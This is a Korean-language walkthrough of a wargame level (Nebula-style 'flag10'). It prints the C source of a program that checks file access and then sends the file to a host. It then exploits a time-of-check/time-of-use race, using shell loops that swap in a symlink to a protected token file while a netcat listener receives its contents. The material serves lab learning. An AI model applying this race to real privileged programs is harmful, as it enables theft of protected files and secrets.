실행파일 인자로 파일, ip를 입력받고
파일의 내용을 해당 ip의 18211 포트로 전송한다.
level10 디렉토리에는 실행파일인 flag10
과 플래그가 담긴 것으로 추측되는 token
파일을 확인할 수 있는데 당연하게도 token
파일을 전송하면 'You don't have access to token'이라는 메시지와 함께 프로그램이 종료된다.
일단 소스를 확인해본다.
소스는 다음의 페이지에서 확인할 수 있다.
flag10.cpp
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
중요한 점은 access()
로 파일에 대한 현재 계정의 권한을 확인하고(setuid랑은 상관없다.)
현재 계정이 읽을 수 있는 파일이라면 그 내용을 해당 ip로 전송한다.
경쟁 조건 공격을 생각해볼 수 있다.
/tmp/level10/test
라는 임의의 파일을 전송한다고 가정할 때, access()
가 통과된 뒤에 이 test
파일을 삭제하고 token
에 대한 심볼릭 링크를 test
로 다시 생성한다면?
token
의 내용을 대상 ip에게 전송할 것이다.
먼저 파일 내용을 수신하기 위해 netcat으로 18211 포트에 대해 리스닝한다.
netcat -l 18211 -k
다른 쉘에서는 옳은 권한의 파일 test
를 생성한 뒤 flag10
을 실행하여 access
가 통과하도록 만든다.
while :;
do
rm /tmp/level10/test;
echo 'this is test flag' > /tmp/level10/test;
./flag10 /tmp/level10/test 127.0.0.1;
done
또 하나의 쉘을 열고, 기존의 옳은 권한의 test
를 삭제하고 token
에 대한 심볼릭 링크 파일로 바꾸는 동작을 반복 실행시킨다.
while :;
do
rm /tmp/level10/test;
ln -s /home/flag10/token /tmp/level10/test;
done
세 개의 쉘을 동시에 실행하고 파일을 수신하는 쉘에서 수신된 내용을 확인해보면
중간에 token
의 값이 출력되는 것을 확인할 수 있다.